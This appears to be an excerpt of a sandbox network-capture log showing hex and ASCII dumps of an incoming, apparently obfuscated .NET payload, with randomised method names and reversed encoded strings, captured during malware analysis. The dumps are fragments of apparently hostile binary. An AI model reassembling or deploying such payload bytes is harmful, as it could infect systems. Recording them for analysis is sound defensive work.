2022-01-14 00:51:05 UTC	117	IN	Data Raw: 57 6c 4f 39 53 00 52 75 6e 74 69 6d 65 4d 65 74 68 6f 64 48 61 6e 64 6c 65 00 67 65 74 5f 4d 65 74 68 6f 64 48 61 6e 64 6c 65 00 56 44 36 56 59 6c 49 32 50 46 4e 71 46 52 4b 56 57 5a 4f 00 50 72 65 70 61 72 65 4d 65 74 68 6f 64 00 51 56 63 54 4c 37 49 58 66 6a 53 77 4a 4f 43 30 38 53 54 00 77 6c 70 71 64 48 49 65 6b 52 66 45 55 58 48 54 56 50 71 00 6b 4c 4d 65 4f 45 49 72 59 37 68 58 77 68 70 6f 70 71 54 00 50 6b 37 51 71 78 6a 36 53 4f 6a 42 59 30 69 57 42 4a 51 00 52 35 61 45 6b 62 6a 47 64 59 42 4c 4d 4c 77 4c 53 58 4e 00 49 37 62 37 6c 4d 70 6d 5a 42 71 61 6c 6a 6d 4d 6d 6c 66 00 51 79 6b 6b 68 38 70 48 76 6d 31 44 66 6d 31 67 39 45 65 00 74 39 57 4a 44 62 70 53 48 73 36 75 4a 45 57 6c 56 68 66 00 54 00 75 34 69 49 39 34 44 79 38 67 00 43 72 65 61 74 Data Ascii: WlO9SRuntimeMethodHandleget_MethodHandleVD6VYlI2PFNqFRKVWZOPrepareMethodQVcTL7IXfjSwJOC08STwlpqdHIekRfEUXHTVPqkLMeOEIrY7hXwhpopqTPk7Qqxj6SOjBY0iWBJQR5aEkbjGdYBLMLwLSXNI7b7lMpmZBqaljmMmlfQykkh8pHvm1Dfm1g9Eet9WJDbpSHs6uJEWlVhfTu4iI94Dy8gCreat
2022-01-14 00:51:05 UTC	121	IN	Data Raw: 43 77 31 78 76 52 62 00 45 56 71 48 44 65 30 37 53 67 46 39 66 33 6b 52 62 61 61 00 42 50 4f 69 45 68 62 36 4e 63 00 7a 6b 72 69 53 61 39 4b 70 64 00 58 64 47 69 48 72 4d 68 6f 69 00 6b 34 5a 32 4a 79 30 57 57 38 69 77 4a 43 4e 59 5a 78 77 00 73 36 46 4e 33 62 30 44 68 48 75 34 67 53 50 44 58 69 34 00 54 74 74 62 77 58 30 50 49 74 41 50 70 57 67 77 68 65 32 00 6b 74 45 69 6a 30 68 51 37 79 00 58 6e 4c 69 61 62 50 53 41 49 00 77 55 31 51 50 6f 30 75 46 52 54 42 52 62 79 68 5a 34 64 00 4e 6f 74 49 6d 70 6c 65 6d 65 6e 74 65 64 45 78 63 65 70 74 69 6f 6e 00 43 30 6e 51 54 61 30 55 62 6c 33 50 6f 77 77 47 5a 54 61 00 58 79 4b 33 72 76 30 36 51 67 34 4e 6d 79 30 35 61 66 38 00 54 5a 64 69 77 48 64 79 6f 6b 00 6d 78 76 69 68 4a 4c 51 69 38 00 4a 43 58 32 70 58 Data Ascii: Cw1xvRbEVqHDe07SgF9f3kRbaaBPOiEhb6NczkriSa9KpdXdGiHrMhoik4Z2Jy0WW8iwJCNYZxws6FN3b0DhHu4gSPDXi4TttbwX0PItAPpWgwhe2ktEij0hQ7yXnLiabPSAIwU1QPo0uFRTBRbyhZ4dNotImplementedExceptionC0nQTa0Ubl3PowwGZTaXyK3rv06Qg4Nmy05af8TZdiwHdyokmxvihJLQi8JCX2pX
2022-01-14 00:51:05 UTC	125	IN	Data Raw: 39 32 66 34 39 38 64 61 64 34 62 65 65 61 36 32 33 31 30 37 65 36 32 00 6d 5f 62 64 61 30 37 34 61 63 33 30 61 61 34 62 37 35 61 62 61 35 39 33 35 33 31 62 30 65 35 63 39 36 00 6d 5f 62 62 39 32 63 33 36 33 66 32 66 37 34 63 35 30 61 65 33 61 66 31 36 36 66 66 37 33 66 36 63 31 00 6d 5f 34 63 63 66 36 62 35 34 61 37 39 65 34 63 33 62 39 35 62 38 31 64 39 61 61 33 32 63 65 33 65 61 00 6d 5f 61 35 36 63 63 62 64 33 34 61 30 38 34 32 36 38 39 62 61 32 64 36 38 31 37 34 30 61 63 64 64 30 00 6d 5f 65 65 35 30 61 38 36 34 63 66 32 64 34 30 64 32 38 64 37 35 38 39 62 33 35 63 64 37 37 33 65 36 00 6d 5f 31 31 37 61 66 66 64 65 64 35 39 31 34 61 34 37 39 39 66 66 64 30 32 64 32 33 61 34 30 37 31 31 00 6d 5f 64 39 38 65 64 33 35 61 66 37 62 64 34 30 61 37 61 64 38 Data Ascii: 92f498dad4beea623107e62m_bda074ac30aa4b75aba593531b0e5c96m_bb92c363f2f74c50ae3af166ff73f6c1m_4ccf6b54a79e4c3b95b81d9aa32ce3eam_a56ccbd34a0842689ba2d681740acdd0m_ee50a864cf2d40d28d7589b35cd773e6m_117affded5914a4799ffd02d23a40711m_d98ed35af7bd40a7ad8
2022-01-14 00:51:05 UTC	128	IN	Data Raw: 62 37 65 37 32 31 39 30 00 6d 5f 38 34 35 33 30 35 62 64 61 39 37 31 34 64 65 34 61 30 36 33 65 39 66 38 66 31 30 31 63 33 34 39 00 6d 5f 66 37 33 30 39 33 63 31 32 38 36 33 34 62 37 36 38 39 36 33 37 63 32 64 33 32 31 64 64 65 64 38 00 6d 5f 36 30 33 36 62 32 32 30 61 38 30 38 34 63 30 64 61 30 31 38 63 33 32 31 62 62 65 37 37 35 36 63 00 6d 5f 34 66 38 36 33 39 33 38 36 64 37 66 34 66 62 32 62 65 39 31 32 36 30 61 32 37 32 65 39 39 64 65 00 6d 5f 64 39 33 39 36 35 32 37 65 34 38 39 34 61 36 30 39 63 37 38 65 36 33 33 34 34 35 34 64 37 61 37 00 6d 5f 39 31 38 36 36 32 38 62 38 38 31 38 34 35 33 39 38 66 37 31 33 39 36 66 63 32 31 35 65 61 64 61 00 6d 5f 37 66 38 62 61 35 36 64 36 35 31 34 34 64 33 37 61 36 61 37 62 38 64 36 61 61 64 38 32 65 31 61 00 47 Data Ascii: b7e72190m_845305bda9714de4a063e9f8f101c349m_f73093c128634b7689637c2d321dded8m_6036b220a8084c0da018c321bbe7756cm_4f8639386d7f4fb2be91260a272e99dem_d9396527e4894a609c78e6334454d7a7m_9186628b881845398f71396fc215eadam_7f8ba56d65144d37a6a7b8d6aad82e1aG
2022-01-14 00:51:05 UTC	132	IN	Data Raw: 00 6e 00 75 00 52 00 6d 00 65 00 74 00 73 00 79 00 53 00 36 00 33 00 37 00 30 00 33 00 56 00 73 00 55 00 43 00 77 00 38 00 47 00 50 00 69 00 51 00 5a 00 41 00 77 00 63 00 73 00 50 00 6a 00 4d 00 52 00 4d 00 51 00 3d 00 3d 00 00 80 b7 49 00 6c 00 61 00 68 00 73 00 72 00 61 00 4d 00 65 00 6c 00 4f 00 64 00 72 00 61 00 64 00 6e 00 61 00 74 00 53 00 73 00 65 00 63 00 69 00 76 00 72 00 65 00 53 00 70 00 6f 00 72 00 65 00 74 00 6e 00 49 00 65 00 6d 00 69 00 74 00 6e 00 75 00 52 00 6d 00 65 00 74 00 73 00 79 00 53 00 36 00 33 00 37 00 30 00 33 00 41 00 63 00 51 00 4a 00 41 00 38 00 47 00 57 00 54 00 38 00 33 00 50 00 78 00 51 00 70 00 50 00 69 00 77 00 4e 00 45 00 69 00 67 00 42 00 4a 00 51 00 51 00 4f 00 5a 00 79 00 73 00 2b 00 4f 00 31 00 5a 00 41 00 56 00 41 Data Ascii: nuRmetsyS63703VsUCw8GPiQZAwcsPjMRMQ==IlahsraMelOdradnatSsecivreSporetnIemitnuRmetsyS63703AcQJA8GWT83PxQpPiwNEigBJQQOZys+O1ZAVA
2022-01-14 00:51:05 UTC	136	IN	Data Raw: 00 13 01 13 02 13 03 0c 15 12 69 01 15 12 6d 03 12 71 1c 1c 08 15 12 6d 03 12 71 1c 1c 0e 15 12 80 8d 06 12 71 12 80 91 1c 08 1c 1c 0e 20 05 13 05 13 00 13 01 13 02 13 03 13 04 06 00 01 1d 05 1d 05 16 07 08 12 80 9d 1d 05 1d 05 12 80 a1 12 80 a5 12 80 a9 1d 05 1d 05 0c 20 03 01 12 80 ad 12 80 a1 11 80 b1 04 00 00 12 24 04 28 00 1d 05 10 06 15 12 69 01 15 12 80 89 04 12 71 12 24 1c 1c 0e 06 15 12 69 01 15 12 6d 03 12 71 1c 1d 05 10 06 15 12 69 01 15 12 80 95 05 12 71 1c 0e 0e 1c 0d 06 15 12 69 01 15 12 6d 03 12 71 1c 1c 13 06 15 12 69 01 15 12 80 8d 06 12 71 12 80 91 1c 08 1c 1c 04 00 01 18 0e 01 02 04 00 01 02 18 05 00 02 18 18 0e 03 06 12 34 05 20 01 01 1d 1c 06 30 01 01 1e 00 0e 03 07 01 18 02 1e 00 05 20 01 1c 1d 1c 04 00 00 12 34 03 06 12 38 04 00 00 Data Ascii: imqmqq $(iq$imqiqimqiq4 0 48
2022-01-14 00:51:05 UTC	140	IN	Data Raw: 81 7c 02 1d 08 08 20 02 02 13 00 10 13 01 01 00 0c 20 03 12 81 7c 12 81 7c 11 81 14 02 06 20 01 12 81 7c 08 06 00 01 08 12 80 91 04 07 02 08 08 09 15 12 80 d5 02 12 80 91 08 05 06 1d 12 80 91 0c 20 04 01 0e 12 80 91 1d 12 80 91 02 07 20 02 01 08 12 81 7c 37 07 15 08 12 81 35 12 80 c5 1d 12 81 1d 08 1d 12 81 7c 15 12 80 cd 01 12 81 54 12 81 58 12 81 5c 1c 12 81 7c 1c 08 12 81 7c 12 80 91 1c 02 12 81 34 12 80 91 08 1d 1c 09 00 02 12 81 5c 12 81 35 02 27 07 10 08 12 80 c5 12 81 21 12 81 25 1d 12 81 1d 1d 12 80 91 08 1d 12 81 d9 12 81 5c 08 08 08 08 12 80 91 08 12 81 5c 0b 15 12 80 d5 02 12 81 35 12 81 5c 02 1d 1c 0c 00 03 12 81 5c 12 81 35 02 12 81 58 2d 07 12 12 81 5c 12 80 c5 12 81 21 12 81 25 08 1d 12 80 91 08 1d 12 81 d9 12 81 5c 08 08 08 08 12 81 54 12 Data Ascii: \| \|\| \| \|75\|TX\\|\|4\5'!%\\5\\5X-\!%\T
2022-01-14 00:51:05 UTC	145	IN	Data Raw: 6f 03 d6 26 0f 7c 54 21 56 a3 95 23 b3 25 0b a6 c6 39 d4 76 ac 00 54 9c c0 65 ea 0f 7d 24 99 f9 6b ca 2d 15 8e cd fc 02 b1 76 25 ed 45 f1 35 81 59 0e 64 42 fb 81 4a 05 86 18 a0 72 fe ce e7 6f ec 9e 5f f8 6a b3 2f 69 ce 1d c8 31 37 ce 7d 0b d4 4a 0c e7 7d fe c0 46 a6 61 b0 4a a3 b3 f3 65 70 bc 21 4e 4c 77 aa 9b 91 ee a3 3b 51 20 93 0c c0 f9 98 7f 1d 39 cc 04 36 1c 96 cd 1b d5 6a 4d 2c 9a 72 30 d0 27 7e 7d 58 4a d3 14 cf 45 66 50 00 23 3f 6c e6 11 b4 bc 35 db 72 7d c0 0c a3 ae e6 36 c4 12 43 da 98 f6 07 94 bf fa 3d 92 eb fb 25 e9 5c 91 0a fa 33 e2 80 3b e6 ed 84 4e 4b 83 76 6d 5f 35 10 c6 1c f0 fd 48 95 49 57 15 c0 d8 e6 67 2e ab 4e 55 ba ac 81 31 dd 2a d1 e5 a8 1f 37 f0 44 bb 18 f5 d6 f8 e6 db 39 45 a1 a3 4f 74 92 c9 3e ed fc ee 8b 37 b0 a3 3a 60 4e d2 f9 Data Ascii: o&\|T!V#%9vTe}$k-v%E5YdBJro_j/i17}J}FaJep!NLw;Q 96jM,r0'~}XJEfP#?l5r}6C=%\3;NKvm_5HIWg.NU1*7D9EOt>7:`N
2022-01-14 00:51:05 UTC	149	IN	Data Raw: 06 cb 1f 0c 19 57 c9 51 79 46 3f fb 65 89 c5 4b d1 e0 9d 49 e9 1f 30 4a bb bd 35 93 86 ea 79 38 3b 3c 2a 9d f1 56 60 97 a5 8c b5 62 be c9 b1 48 d5 55 3d b3 7f b3 9b 7c b2 c5 6b 26 3c ac 52 3d be 24 e1 b2 3b e9 dc 8a ea 39 d9 64 95 5e 6d 26 c2 85 1b 3b ed c9 07 37 e5 96 a1 a3 f4 15 18 8f 89 84 12 8a a7 79 90 84 c7 52 bf 11 98 0d 61 5f b8 c8 58 50 77 86 4f 1a 71 6f d4 e1 79 3b 82 48 79 b0 28 7d 6c a4 f3 21 9b 66 2e 70 fc 57 66 25 23 d1 05 6b 69 91 46 a1 d1 e8 40 e9 62 8a 23 c7 ec f6 8c 2d c9 bb 87 d7 a3 72 8d de 92 7a e9 47 9c c9 75 34 b1 d8 0a 2d 68 8e 69 d9 af ee a8 53 b9 fb 7d 3d e7 e4 88 c5 a1 6f 45 7c a0 4b c1 0b 5d fb e6 2f 28 a5 16 7b 95 22 4a 46 02 51 50 4e b4 63 cb a8 30 a3 a2 e7 e5 8d 23 38 d7 f4 72 78 c2 fe 03 ef f6 f7 41 f7 af 18 4b e1 2b 93 ee Data Ascii: WQyF?eKI0J5y8;<*V`bHU=\|k&<R=$;9d^m&;7yRa_XPwOqoy;Hy(}l!f.pWf%#kiF@b#-rzGu4-hiS}=oE\|K]/({"JFQPNc0#8rxAK+
2022-01-14 00:51:05 UTC	153	IN	Data Raw: 62 e7 52 c8 79 dc da 33 f7 fd 3e 91 40 ba 2a c7 1d ce 1e b0 49 7e df 3f 44 97 f7 1e f1 b2 11 1b fc 6c 3d ec c0 b7 1d 95 f7 92 f7 4e 8f 0a c4 2a 69 24 a7 6a d6 32 8f b6 9e 0a 1b 64 c3 3f 03 17 97 4c 7f 77 9e 3d 82 01 08 f0 c4 93 ab 7c f3 dc 74 39 6b 4c 33 4f 3f 4b 81 00 e1 1a fe f3 02 29 00 68 b5 d5 ed 33 79 5b b9 dc d7 48 13 75 5c b1 7b d2 ba a1 c1 d9 5d 37 80 df 52 af b1 ea 51 aa 45 ce 6e 47 79 f2 77 58 0f 6a b9 e4 2c 2f ee 35 d7 b0 5a a4 43 fa eb 74 f6 c7 e3 0b 93 80 65 f4 52 4a a0 b5 ea 98 44 98 51 f7 60 eb 25 23 7d 38 c1 dc fb 79 a4 64 7f 68 27 a7 f5 64 b5 a7 ef 95 d8 9e 86 95 0d 58 a8 14 1c 09 86 36 e1 0b 24 76 17 4a 65 5a 9e 01 b0 8a d7 e4 02 70 c3 d7 9c cc 36 b6 5a 02 8f 72 8f 31 de 71 c2 74 1d a5 6e ea 0d 1b 67 aa 80 56 94 fc d3 14 ab ed e2 ee a2 Data Ascii: bRy3>@I~?Dl=Ni$j2d?Lw=\|t9kL3O?K)h3y[Hu\{]7RQEnGywXj,/5ZCteRJDQ`%#}8ydh'dX6$vJeZp6Zr1qtngV
2022-01-14 00:51:05 UTC	157	IN	Data Raw: d2 14 ad 1d 81 aa 6c 9c 7b 17 dd 7c 78 a9 51 a5 a6 ad 85 fc 81 75 46 e9 92 04 97 ce 17 a7 6c 2b 51 64 a7 5a 71 bc 45 64 62 86 ad 2f f6 8f 76 56 75 f4 bd 72 94 9a 69 ca a8 9a cc f2 62 0f 30 37 ee d1 9b c3 68 4d b0 e2 b3 a2 81 18 63 07 37 a3 51 ae 7b 44 58 7b a9 0b 31 89 34 e2 35 fe c7 16 69 c2 24 10 32 21 b1 49 3c 79 9b 1b 0c df 9b fe 81 a5 c0 ed c6 5f e2 96 e2 e4 b6 9c e8 8e 24 f8 9f 34 ad 3a 8f cc f8 55 83 b7 09 61 be b2 71 e3 2e d6 9b 7e 8a a2 20 90 58 6d 5a fc 24 5e 48 fb e1 4d 9e 05 51 8a b4 73 29 04 7b ca a0 05 0c 74 7e 37 89 20 fa 7e 23 bc 22 87 35 d3 c8 36 eb f2 fa 54 e1 80 32 29 dc ed de c4 2b ee 12 35 85 2a bc 58 66 f8 7e 99 41 fd 59 58 d8 dc 5c 64 d0 10 21 fe 8d 0f e7 b7 d7 d6 3d e0 95 64 fa b7 08 cc b4 97 f9 4d f8 96 1a 10 51 66 7c 6c b3 8f 91 Data Ascii: l{\|xQuFl+QdZqEdb/vVurib07hMc7Q{DX{145i$2!I<y_$4:Uaq.~ XmZ$^HMQs){t~7 ~#"56T2)+5*Xf~AYX\d!=dMQf\|l
2022-01-14 00:51:05 UTC	160	IN	Data Raw: 72 62 f8 69 b3 a7 25 e3 30 56 36 40 77 c9 c0 37 3b 13 ce 1f 70 38 41 a4 72 6d 22 51 d9 1c 96 e3 f4 7f ca 30 82 4d 80 84 6c 87 da 0e cb c2 a8 61 c9 56 8a fa 1a 5a e3 87 d2 d0 f0 02 e7 41 fd e5 ed 98 9c 4c 87 b1 3f 21 8d 13 98 13 25 7b b1 2b 2b 7b 87 f0 4e 02 32 47 b0 10 66 f4 be b5 77 8e c8 27 9d 40 c1 b8 54 30 b9 f7 5f 55 4a d7 59 bc bb b8 7b 64 97 7f 47 58 da b6 46 86 9e eb a7 b3 60 7c 72 3f d1 ef 31 08 3f 42 70 b4 fb 6d 60 b0 78 2c e9 df 84 a9 59 59 77 13 b2 60 d9 79 c5 0e 16 8d 20 e6 54 1b 71 91 14 fc 87 fb d0 25 c5 76 7c df cf 6d 69 ed a7 e2 6d f7 40 21 4e c0 c7 09 3c 60 7a 66 84 5e 7d dc e7 90 0d f3 5d 75 22 ef 15 da 5e a2 71 ff d1 76 50 90 81 a1 05 18 8a ab 3d 95 d2 8b 77 74 29 88 5f 3c 4c cd e8 ab 3e cf 21 8f d7 ab e4 46 c3 b9 d6 f9 7c b6 5b 3b b2 Data Ascii: rbi%0V6@w7;p8Arm"Q0MlaVZAL?!%{++{N2Gfw'@T0_UJY{dGXF`\|r?1?Bpm`x,YYw`y Tq%v\|mim@!N<`zf^}]u"^qvP=wt)_<L>!F\|[;
2022-01-14 00:51:05 UTC	164	IN	Data Raw: fc 70 60 9e 8f 07 02 01 30 2e 75 7b f6 1c 61 dd 3e 2c d2 31 06 b7 96 f8 76 46 a2 8a f8 0d 2e 1a 57 7d 17 1b 9b 91 d5 fb 8f 66 99 5a 3d 09 fb 36 d7 90 73 ce f4 82 d2 26 be 93 a6 4f cd fa 0d b0 a8 a8 aa 67 9c dd f1 ff 11 2e 33 31 04 a4 b3 b2 cb dc f0 81 36 5d 96 1d dc d9 80 ec 18 36 e0 1f b0 69 a0 6c 3a 26 79 25 e0 e7 cd 0c 8b 47 be 31 e1 d3 aa b6 6b 45 76 68 f1 9e 94 41 b5 2a 23 7b cd 30 2b 96 f9 85 1f 98 fe 04 e1 e8 f5 16 3f 16 e2 12 ed 5d e1 cf 7a f6 33 79 fd 21 70 83 70 fc 9a 49 42 35 7a 95 bf 7c 6e d7 f5 3d 03 8b de a7 c7 61 80 23 29 67 46 41 45 cc d2 ce ed de 24 7b 66 18 94 aa 7d 16 76 d6 1f d0 17 81 2e 99 18 95 85 01 6f 04 53 3a 80 f8 0b d3 29 ce 4d 29 d9 3b c9 f9 ae 00 6a 0f 4f cb 51 6c 5f d9 9f b3 72 a1 1d ea 0a f1 18 83 b5 34 fb ae 52 96 ee 9e ba Data Ascii: p`0.u{a>,1vF.W}fZ=6s&Og.316]6il:&y%G1kEvhA*#{0+?]z3y!ppIB5z\|n=a#)gFAE${f}v.oS:)M);jOQl_r4R
2022-01-14 00:51:05 UTC	168	IN	Data Raw: d0 1f 31 b1 76 4c 48 5a 69 02 38 6b 41 4d 8e 55 fc 47 2f b9 62 d7 cd 2b 07 2a 7f 24 59 71 0a 9a 18 e7 c3 3b 5b 60 b7 a9 6f 75 b1 01 c5 18 bf 60 c3 71 a8 64 45 19 57 66 00 f0 8f f2 b6 32 25 4d c4 e8 68 10 c5 5d 7b 56 b3 69 51 02 a9 1e 4c ae e7 59 91 b5 45 c6 70 50 97 99 05 7d d6 87 f8 16 f3 1d f6 23 3b 58 3e 4a f8 a2 fe f1 0d 42 fc 53 c7 26 1c d3 f8 8d 6e 5c 46 eb 6d fb 0d 42 21 16 e0 86 a0 1c 41 83 f6 2c 5a f9 e7 a1 67 f3 16 40 de 02 fe b9 23 ff 3f ea 43 78 42 80 2f 57 45 08 90 9d c2 79 39 8b 87 36 c3 23 b6 78 4a 7a 5a 37 21 35 09 b1 21 e7 3a 83 7f c4 68 91 89 65 1f d8 9a 5c 9d 72 7c f0 a8 58 eb 8f 6e 24 18 50 3d 81 12 4a 26 79 17 9b 0a 75 45 06 73 f1 0e 5f 9f 96 a5 97 6b 2b 2b 52 95 26 0a 96 17 0f c0 e6 f4 58 d3 a7 e0 b9 55 fd 4e 21 5f c9 cb 98 15 55 21 Data Ascii: 1vLHZi8kAMUG/b+*$Yq;[`ou`qdEWf2%Mh]{ViQLYEpP}#;X>JBS&n\FmB!A,Zg@#?CxB/WEy96#xJzZ7!5!:he\r\|Xn$P=J&yuEs_k++R&XUN!_U!
2022-01-14 00:51:05 UTC	172	IN	Data Raw: 17 4c 0b ba cc 1e 09 20 c3 13 e2 55 4b c0 03 87 e1 53 10 e0 88 ed 89 72 94 6a 27 6a 2a af bb ea 2c ae be b7 06 97 3a 51 bc 1a 69 0f ce 34 97 04 a5 db 40 2c 4f f3 d3 ae 95 05 ef 6c b5 0d c9 82 d6 85 4e 6f 39 a2 b1 25 81 e5 30 4d 0b f4 02 70 25 15 2a 83 9b 90 fb 0e 59 c7 8b ec 1a 3a 1c 29 cd 34 a0 8c eb 2c a0 61 38 9d 9b ae b8 a8 0a 25 7d 0e 30 2a fc 35 cc 40 fd d5 27 7b 1e ed b3 3c a4 bc c6 d0 15 16 f0 69 b9 01 97 1d 5c 06 89 f8 a0 2f 46 2b 0c 3f da 31 e9 f2 06 db 85 2a 7c 87 f0 52 65 f2 9d cb 66 c4 7a 04 3e 39 2a 4b 41 9c 97 8a 87 f6 e1 24 80 4f 1e bb 57 cd b0 b2 11 a7 a0 91 9c 22 b6 ca 94 a6 40 63 40 ca 5f 32 26 5c 93 fa 8c 97 1a d7 c3 70 b7 e4 dd 9b ee 5a 9d e0 ef 86 49 19 7e 89 ac df 2a c2 cd 45 ed 77 a8 9b ae 87 82 7c db 20 a5 83 bc 56 8a ee cc b7 36 Data Ascii: L UKSrj'j,:Qi4@,OlNo9%0Mp%Y:)4,a8%}05@'{<i\/F+?1\|Refz>9KA$OW"@c@_2&\pZI~Ew\| V6
2022-01-14 00:51:05 UTC	177	IN	Data Raw: 53 d1 53 c6 36 91 c2 c5 42 27 d0 b6 91 95 63 8a de 68 f7 bc 77 9a 02 7f 5b ad 24 e5 0a 9c 55 23 e6 96 ab 4e 5d f4 a6 68 99 d3 5b b2 e2 2e ad 1a 8f 28 be ad d5 32 b6 1a c3 e1 91 a6 aa cd ab 8c 2c 5c 61 56 ef 76 b4 af 95 89 8e e4 07 f8 ac cc a0 9c bd 8d 30 5c d7 77 e8 39 fb 78 0b d6 91 75 48 17 95 42 64 ce 07 85 2a 79 0d d2 6b 26 57 53 a1 9f 7b 6f a2 4c 5c e7 ea a9 80 16 29 36 4c 50 5d 04 41 76 9b 50 6d 74 52 d7 74 af c4 16 03 83 98 f6 55 62 fd 1a 02 43 f2 33 50 4a 07 9a e4 5a c7 60 f9 d1 57 d3 0e 85 6c 00 f8 28 d1 f0 b6 f2 32 04 b1 be c7 f8 d6 f5 46 73 5d 8f 42 02 2a 08 c7 55 4e 51 99 b1 f6 f9 69 c4 f7 5e 22 07 d3 ee d4 0b a3 9f 41 00 0a cc 0a f2 f0 bf a9 de f6 1a 3f 9e 45 69 0d 10 b2 15 5f e2 b3 44 7e e8 5e 6a 05 d3 d6 e7 16 65 40 89 80 3a ba 73 f4 db 6c Data Ascii: SS6B'chw[$U#N]h[.(2,\aVv0\w9xuHBdyk&WS{oL\)6LP]AvPmtRtUbC3PJZ`Wl(2Fs]BUNQi^"A?Ei_D~^je@:sl
2022-01-14 00:51:05 UTC	180	IN	Data Raw: 93 d5 5f 9b 6b c7 5d f8 04 09 73 91 7a e0 88 bb ed 61 e6 16 e8 f0 b4 0b d9 b9 c2 40 e8 5e 8b f0 b4 8d 15 05 8b 86 aa a4 ec 72 b4 86 e1 92 47 d8 7e 00 4d 96 2b 12 ab b1 d6 b5 da 11 69 c7 6a 6c 83 49 84 48 09 f3 c2 6b 3c da e3 0b 3b 83 de f7 38 e1 af 74 a2 59 10 b8 86 93 73 ad 65 9f ed 4f d3 6c 6c ea 95 27 d5 33 84 81 53 42 93 bf c7 ec 33 17 e1 61 42 54 42 fb ee ef bc f1 c0 e8 85 34 29 20 b9 48 78 ef d3 d9 b8 cb 01 9e 42 19 f1 a5 04 59 28 3e 55 68 ef 9d 3d 7b 41 39 12 31 70 fe 4f e3 c6 47 72 25 e5 c8 bc 3f 97 48 b7 cf 2f 8f 5a 92 fd bb 5d 8c fb 88 0e 72 cc 35 81 0c 64 b7 bf 53 50 e1 b8 88 34 57 57 a3 f5 d3 36 14 66 44 76 c0 e4 5a c9 7c 72 fa d7 fe 73 97 59 55 75 d2 cc 01 14 b2 d7 38 08 ca 60 fa 6b 27 fb 00 39 6e 43 34 db d9 ee 41 ae 20 37 9d 7d f4 af 55 11 Data Ascii: _k]sza@^rG~M+ijlIHk<;8tYseOll'3SB3aBTB4) HxBY(>Uh={A91pOGr%?H/Z]r5dSP4WW6fDvZ\|rsYUu8`k'9nC4A 7}U
2022-01-14 00:51:05 UTC	185	IN	Data Raw: 51 06 06 48 7a eb a5 97 d9 d3 3a 95 90 25 bd 98 b2 38 98 2d ad e3 1e 70 4e 0c e2 43 e5 b8 d1 17 d1 cc 59 03 6d af ba 1b 25 99 bd 36 39 e6 c4 60 1b 2c 7d b5 b3 82 eb cb 40 e3 db f9 fe 70 3a 66 65 d8 a7 62 5e 5b 40 21 68 d5 f1 dd 42 2b 7d 21 65 80 b3 c9 ba 43 19 ad 1f f2 4f b2 be 88 a0 83 dc 8c 2a 62 27 65 22 92 40 21 e5 86 93 81 68 13 5e e9 14 0b 2c 7f 55 49 d0 28 cc 6f 3a 6b 1e d0 a7 ce 78 0b d3 73 c3 df f4 96 f9 b8 d7 a7 ee 12 19 ff 5a 30 d9 d8 31 1d 0d 16 14 5d 10 e2 93 f4 75 fa 53 fe 49 8f 5f af 51 f2 fe 1c 96 3c 58 ab d4 55 3d 6c f3 38 a8 4c 12 3c 9e d8 7e 1d ce e7 08 9d 8b 15 76 c2 be 4f ed 8a 40 b5 43 c0 87 05 76 69 bf 66 7f 07 82 64 68 c0 f6 2a ee a9 21 0c f6 a1 66 a9 27 19 ee 83 60 f1 04 04 d4 e6 a8 0d 62 19 82 7e b2 0e 73 fe d3 af 1f 5c e5 47 c5 Data Ascii: QHz:%8-pNCYm%69`,}@p:feb^[@!hB+}!eCOb'e"@!h^,UI(o:kxsZ01]uSI_Q<XU=l8L<~vO@Cvifdh!f'`b~s\G
2022-01-14 00:51:05 UTC	189	IN	Data Raw: e0 c8 95 49 7f 04 ef 2b 17 d8 dd 56 1d c3 c4 f0 00 a1 e0 62 bc b1 d0 71 5c ba 1e f1 8a f2 96 3e fd 6d 53 03 e4 b3 50 30 56 a2 a8 ad 58 f3 4e d7 1c 00 61 ce 05 43 ec e6 ea 13 77 54 c6 e2 99 38 20 99 cc 43 0f 56 e0 41 75 b1 74 7c 01 3f 55 3a 01 62 39 ce b5 8f 9e 23 f4 6d fb 3a 40 29 6a 57 48 5e a6 1a ed b4 33 31 2a 77 3a ce d4 1f d4 17 7f 6d e2 60 18 91 91 7a bf e6 dd d7 a6 d1 1d 77 94 27 32 59 96 9c b7 b7 9b 6e ea 1b 91 cf 3a dc d9 87 8e e0 16 63 a7 d8 8d 38 68 79 d0 c4 8f 11 c5 4b 70 a5 90 c6 17 f8 cd f5 7d 55 d7 42 e6 e8 f8 c6 47 c8 48 d5 8c 8e 58 e0 37 20 90 d5 1a dc 8a 7f f9 7f 45 93 8c cd 20 d9 e7 bd a4 05 3b 12 74 83 5f b7 95 71 e8 6d 4e 06 dd 37 9b 00 a3 7c cf 48 f9 8c bd d2 6b ed 93 cd 6e 86 45 1d 47 d6 6b 98 e8 42 a6 94 5d e3 74 43 3e ec 2b 29 03 Data Ascii: I+Vbq\>mSP0VXNaCwT8 CVAut\|?U:b9#m:@)jWH^31*w:m`zw'2Yn:c8hyKp}UBGHX7 E ;t_qmN7\|HknEGkB]tC>+)
2022-01-14 00:51:05 UTC	193	IN	Data Raw: f8 83 88 9e 68 cc e5 b4 d5 49 38 6c 30 46 fa 8e d1 f4 a1 f7 de a4 47 17 5c 44 b0 d2 72 93 49 d9 0e 5d 78 8a 5d 3d aa 87 ae b6 94 0a 5d b4 22 f4 f3 ae 7e a7 57 b5 1b 9e cc fc 9e 5f 6d 74 ee 81 e6 d6 f1 41 a0 66 0d 94 07 67 1d dc 10 99 7a c9 06 73 bf 99 9c a8 73 cb 21 00 a8 ed f6 e5 96 29 e0 bf 51 ad ff 79 61 de ff ac 43 61 91 66 64 7e f4 14 fb b4 e1 07 6c eb 50 9f b7 49 01 b9 8b 1a 3e 89 c3 e6 2e 24 59 f0 fb e1 71 d5 f0 29 d0 cd e7 7d e6 d1 df 46 de 27 c5 c4 b1 6b 3e 76 27 67 fa ad e3 d4 28 be 81 01 8b f4 e0 ae 22 85 87 fe 23 25 6f c9 01 09 6e f3 09 4b ce 44 cc 99 da c0 1d a1 e8 87 1b 41 f1 97 1e cf ce a6 b9 66 73 ff 1a 7d 56 19 37 56 e0 9d 9f ab 34 01 4c da ff 51 e3 0f 1a e6 ea d9 2c d4 76 db 97 88 22 4e 6f 4d ac f4 d5 a6 be 80 f1 c7 a9 7b 06 b2 ed ca 13 Data Ascii: hI8l0FG\DrI]x]=]"~W_mtAfgzss!)QyaCafd~lPI>.$Yq)}F'k>v'g("#%onKDAfs}V7V4LQ,v"NoM{
